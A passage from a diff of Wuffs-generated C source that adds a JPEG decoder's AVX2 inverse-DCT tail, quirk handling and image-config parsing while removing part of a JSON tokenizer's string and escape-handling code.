_mm256_madd_epi16(v_sp_bq7153eh, v_k_E333_133E_ADFD_1051)); ++ v_final01ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_sp_rd01ad, v_sp_rk13ad), v_k_0000_0002), (int32_t)(18u)); ++ v_final01eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_sp_rd01eh, v_sp_rk13eh), v_k_0000_0002), (int32_t)(18u)); ++ v_final01 = _mm256_packs_epi32(v_final01ad, v_final01eh); ++ v_final32ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_sp_rd32ad, v_sp_rk75ad), v_k_0000_0002), (int32_t)(18u)); ++ v_final32eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_sp_rd32eh, v_sp_rk75eh), v_k_0000_0002), (int32_t)(18u)); ++ v_final32 = _mm256_packs_epi32(v_final32ad, v_final32eh); ++ v_final45ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_sp_rd32ad, v_sp_rk75ad), v_k_0000_0002), (int32_t)(18u)); ++ v_final45eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_sp_rd32eh, v_sp_rk75eh), v_k_0000_0002), (int32_t)(18u)); ++ v_final45 = _mm256_packs_epi32(v_final45ad, v_final45eh); ++ v_final76ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_sp_rd01ad, v_sp_rk13ad), v_k_0000_0002), (int32_t)(18u)); ++ v_final76eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_sp_rd01eh, v_sp_rk13eh), v_k_0000_0002), (int32_t)(18u)); ++ v_final76 = _mm256_packs_epi32(v_final76ad, v_final76eh); ++ v_fta0a1e0e1 = _mm256_permute4x64_epi64(v_final01, (int32_t)(216u)); ++ v_fta2a3e2e3 = _mm256_permute4x64_epi64(v_final32, (int32_t)(114u)); ++ v_fta4a5e4e5 = _mm256_permute4x64_epi64(v_final45, (int32_t)(216u)); ++ v_fta6a7e6e7 = _mm256_permute4x64_epi64(v_final76, (int32_t)(114u)); ++ v_fta0c0e0g0 = _mm256_unpacklo_epi16(v_fta0a1e0e1, v_fta2a3e2e3); ++ v_fta1c1e1g1 = _mm256_unpackhi_epi16(v_fta0a1e0e1, v_fta2a3e2e3); ++ v_fta4c4e4g4 = _mm256_unpacklo_epi16(v_fta4a5e4e5, v_fta6a7e6e7); ++ v_fta5c5e5g5 = _mm256_unpackhi_epi16(v_fta4a5e4e5, v_fta6a7e6e7); ++ v_fta0b0e0f0 = _mm256_unpacklo_epi16(v_fta0c0e0g0, v_fta1c1e1g1); ++ v_ftc0d0g0h0 = _mm256_unpackhi_epi16(v_fta0c0e0g0, v_fta1c1e1g1); ++ v_fta4b4e4f4 = _mm256_unpacklo_epi16(v_fta4c4e4g4, v_fta5c5e5g5); ++ v_ftc4d4g4h4 = _mm256_unpackhi_epi16(v_fta4c4e4g4, v_fta5c5e5g5); ++ v_finalae = _mm256_unpacklo_epi64(v_fta0b0e0f0, v_fta4b4e4f4); ++ v_finalbf = _mm256_unpackhi_epi64(v_fta0b0e0f0, v_fta4b4e4f4); ++ v_finalcg = _mm256_unpacklo_epi64(v_ftc0d0g0h0, v_ftc4d4g4h4); ++ v_finaldh = _mm256_unpackhi_epi64(v_ftc0d0g0h0, v_ftc4d4g4h4); ++ v_final0145 = _mm256_add_epi8(_mm256_packs_epi16(v_finalae, v_finalbf), v_k_8080); ++ v_final2367 = _mm256_add_epi8(_mm256_packs_epi16(v_finalcg, v_finaldh), v_k_8080); ++ v_final0 = ((uint64_t)(_mm256_extract_epi64(v_final0145, (int32_t)(0u)))); ++ v_final1 = ((uint64_t)(_mm256_extract_epi64(v_final0145, (int32_t)(1u)))); ++ v_final2 = ((uint64_t)(_mm256_extract_epi64(v_final2367, (int32_t)(0u)))); ++ v_final3 = ((uint64_t)(_mm256_extract_epi64(v_final2367, (int32_t)(1u)))); ++ v_final4 = ((uint64_t)(_mm256_extract_epi64(v_final0145, (int32_t)(2u)))); ++ v_final5 = ((uint64_t)(_mm256_extract_epi64(v_final0145, (int32_t)(3u)))); ++ v_final6 = ((uint64_t)(_mm256_extract_epi64(v_final2367, (int32_t)(2u)))); ++ v_final7 = ((uint64_t)(_mm256_extract_epi64(v_final2367, (int32_t)(3u)))); ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final0); ++ a_dst_buffer = v_remaining; ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final1); ++ a_dst_buffer = v_remaining; ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final2); ++ a_dst_buffer = v_remaining; ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final3); ++ a_dst_buffer = v_remaining; ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final4); ++ a_dst_buffer = v_remaining; ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final5); ++ a_dst_buffer = v_remaining; ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final6); ++ a_dst_buffer = v_remaining; ++ if (8u > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final7); ++ return wuffs_base__make_empty_struct(); ++} ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++// ‼ WUFFS MULTI-FILE SECTION -x86_avx2 ++ ++// -------- func jpeg.decoder.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_jpeg__decoder__get_quirk( ++ const wuffs_jpeg__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if (a_key == 2u) { ++ if (self->private_impl.f_use_lower_quality) { ++ return 18446744073709551615u; ++ } ++ } else if (a_key == 1220532224u) { ++ if (self->private_impl.f_reject_progressive_jpegs) { ++ return 1u; ++ } ++ } ++ return 0u; ++} ++ ++// -------- func jpeg.decoder.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_jpeg__decoder__set_quirk( ++ wuffs_jpeg__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ if (a_key == 2u) { ++ self->private_impl.f_use_lower_quality = (a_value >= 9223372036854775808u); ++ return wuffs_base__make_status(NULL); ++ } else if (a_key == 1220532224u) { ++ self->private_impl.f_reject_progressive_jpegs = (a_value != 0u); ++ return wuffs_base__make_status(NULL); ++ } ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func jpeg.decoder.decode_image_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_jpeg__decoder__decode_image_config( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_jpeg__decoder__do_decode_image_config(self, a_dst, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_image_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func jpeg.decoder.do_decode_image_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__do_decode_image_config( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint8_t v_marker = 0; ++ uint32_t v_pixfmt = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; ++ if (coro_susp_point) { ++ v_marker = self->private_data.s_do_decode_image_config.v_marker; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if (v_c8 != 255u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_header); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ if (v_c8 != 216u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_header); ++ goto exit; + } +- v_expect = 7858u; +- label__outer__continue:; + while (true) { + while (true) { +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); +- goto label__outer__continue; +- } +- v_whitespace_length = 0u; +- v_c = 0u; +- v_class = 0u; +- while (true) { +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if (v_whitespace_length > 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(v_whitespace_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_whitespace_length = 0u; +- } +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(wuffs_json__error__bad_input); +- goto exit; +- } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); +- goto label__outer__continue; +- } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- v_class = WUFFS_JSON__LUT_CLASSES[v_c]; +- if (v_class != 0u) { +- break; +- } +- iop_a_src += 1u; +- if (v_whitespace_length >= 65534u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(65535u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_whitespace_length = 0u; +- goto label__outer__continue; ++ goto suspend; + } +- v_whitespace_length += 1u; ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; + } +- if (v_whitespace_length > 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(v_whitespace_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_whitespace_length = 0u; +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- goto label__outer__continue; ++ if (v_c8 == 255u) { ++ break; ++ } ++ } ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } ++ uint8_t t_3 = *iop_a_src++; ++ v_c8 = t_3; + } +- if (0u == (v_expect & (((uint32_t)(1u)) << v_class))) { +- status = wuffs_base__make_status(wuffs_json__error__bad_input); +- goto exit; ++ if (v_c8 != 255u) { ++ v_marker = v_c8; ++ break; + } +- if (v_class == 1u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- iop_a_src += 1u; +- label__string_loop_outer__continue:; +- while (true) { +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); +- continue; +- } +- v_string_length = 0u; ++ } ++ if (v_marker == 0u) { ++ continue; ++ } else if ((208u <= v_marker) && (v_marker <= 217u)) { ++ if (v_marker <= 215u) { ++ continue; ++ } ++ } else { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ uint32_t t_4; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_4 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); + while (true) { +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if (v_string_length > 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_string_length = 0u; +- } +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(wuffs_json__error__bad_input); +- goto exit; +- } ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); +- goto label__string_loop_outer__continue; ++ goto suspend; + } +- while (((uint64_t)(io2_a_src - iop_a_src)) > 4u) { +- v_c4 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- if (0u != (WUFFS_JSON__LUT_CHARS[(255u & (v_c4 >> 0u))] | +- WUFFS_JSON__LUT_CHARS[(255u & (v_c4 >> 8u))] | +- WUFFS_JSON__LUT_CHARS[(255u & (v_c4 >> 16u))] | +- WUFFS_JSON__LUT_CHARS[(255u & (v_c4 >> 24u))])) { +- break; +- } +- iop_a_src += 4u; +- if (v_string_length > 65527u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)((v_string_length + 4u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_string_length = 0u; +- goto label__string_loop_outer__continue; +- } +- v_string_length += 4u; ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); ++ if (num_bits_4 == 8) { ++ t_4 = ((uint32_t)(*scratch >> 48)); ++ break; + } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- v_char = WUFFS_JSON__LUT_CHARS[v_c]; +- if (v_char == 0u) { +- iop_a_src += 1u; +- if (v_string_length >= 65531u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(65532u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_string_length = 0u; +- goto label__string_loop_outer__continue; +- } +- v_string_length += 1u; +- continue; +- } else if (v_char == 1u) { +- if (v_string_length != 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_string_length = 0u; +- } +- goto label__string_loop_outer__break; +- } else if (v_char == 2u) { +- if (v_string_length > 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_string_length = 0u; +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- goto label__string_loop_outer__continue; +- } +- } +- if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); +- goto label__string_loop_outer__continue; +- } +- v_c = ((uint8_t)((wuffs_base__peek_u16le__no_bounds_check(iop_a_src) >> 8u))); +- v_backslash = WUFFS_JSON__LUT_BACKSLASHES[v_c]; +- if ((v_backslash & 128u) != 0u) { +- iop_a_src += 2u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((6291456u | ((uint32_t)((v_backslash & 127u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__string_loop_outer__continue; +- } else if (v_backslash != 0u) { +- if (self->private_impl.f_quirks[WUFFS_JSON__LUT_QUIRKY_BACKSLASHES_QUIRKS[(v_backslash & 7u)]]) { +- iop_a_src += 2u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((6291456u | ((uint32_t)(WUFFS_JSON__LUT_QUIRKY_BACKSLASHES_CHARS[(v_backslash & 7u)]))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__string_loop_outer__continue; +- } +- } else if (v_c == 117u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 6u) { +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); +- goto label__string_loop_outer__continue; +- } +- v_uni4_string = (((uint64_t)(wuffs_base__peek_u48le__no_bounds_check(iop_a_src))) >> 16u); +- v_uni4_value = 0u; +- v_uni4_ok = 128u; +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 0u))]; +- v_uni4_ok &= v_c; +- v_uni4_value |= (((uint32_t)((v_c & 15u))) << 12u); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 8u))]; +- v_uni4_ok &= v_c; +- v_uni4_value |= (((uint32_t)((v_c & 15u))) << 8u); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 16u))]; +- v_uni4_ok &= v_c; +- v_uni4_value |= (((uint32_t)((v_c & 15u))) << 4u); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 24u))]; +- v_uni4_ok &= v_c; +- v_uni4_value |= (((uint32_t)((v_c & 15u))) << 0u); +- if (v_uni4_ok == 0u) { +- } else if ((v_uni4_value < 55296u) || (57343u < v_uni4_value)) { +- iop_a_src += 6u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((6291456u | v_uni4_value))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(6u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__string_loop_outer__continue; +- } else if (v_uni4_value >= 56320u) { +- } else { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 12u) { +- if (a_src && a_src->meta.closed) { +- if (self->private_impl.f_quirks[20u]) { +- iop_a_src += 6u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(6u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__string_loop_outer__continue; +- } +- status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); +- goto label__string_loop_outer__continue; +- } +- v_uni4_string = (wuffs_base__peek_u64le__no_bounds_check(iop_a_src + 4u) >> 16u); +- if (((255u & (v_uni4_string >> 0u)) != 92u) || ((255u & (v_uni4_string >> 8u)) != 117u)) { +- v_uni4_high_surrogate = 0u; +- v_uni4_value = 0u; +- v_uni4_ok = 0u; +- } else { +- v_uni4_high_surrogate = (65536u + ((v_uni4_value - 55296u) << 10u)); +- v_uni4_value = 0u; +- v_uni4_ok = 128u; +- v_uni4_string >>= 16u; +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 0u))]; +- v_uni4_ok &= v_c; +- v_uni4_value |= (((uint32_t)((v_c & 15u))) << 12u); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 8u))]; +- v_uni4_ok &= v_c; +- v_uni4_value |= (((uint32_t)((v_c & 15u))) << 8u); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 16u))]; +- v_uni4_ok &= v_c; +- v_uni4_value |= (((uint32_t)((v_c & 15u))) << 4u); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 24u))]; +- v_uni4_ok &= v_c; +- v_uni4_value |= (((uint32_t)((v_c & 15u))) << 0u); +- } +- if ((v_uni4_ok != 0u) && (56320u <= v_uni4_value) && (v_uni4_value <= 57343u)) { +- v_uni4_value -= 56320u; +- iop_a_src += 12u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((6291456u | v_uni4_high_surrogate | v_uni4_value))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(12u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__string_loop_outer__continue; +- } +- } +- if (self->private_impl.f_quirks[20u]) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 6u) { +- status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); +- goto exit; +- } +- iop_a_src += 6u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(6u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__string_loop_outer__continue; +- } +- } else if ((v_c == 85u) && self->private_impl.f_quirks[2u]) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 10u) { +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); +- goto label__string_loop_outer__continue; +- } +- v_uni8_string = wuffs_base__peek_u64le__no_bounds_check(iop_a_src + 2u); +- v_uni8_value = 0u; +- v_uni8_ok = 128u; +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 0u))]; +- v_uni8_ok &= v_c; +- v_uni8_value |= (((uint32_t)((v_c & 15u))) << 28u); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 8u))]; +- v_uni8_ok &= v_c; +- v_uni8_value |= (((uint32_t)((v_c & 15u))) << 24u); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 16u))]; +- v_uni8_ok &= v_c; +- v_uni8_value |= (((uint32_t)((v_c & 15u))) << 20u); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 24u))]; +- v_uni8_ok &= v_c; +- 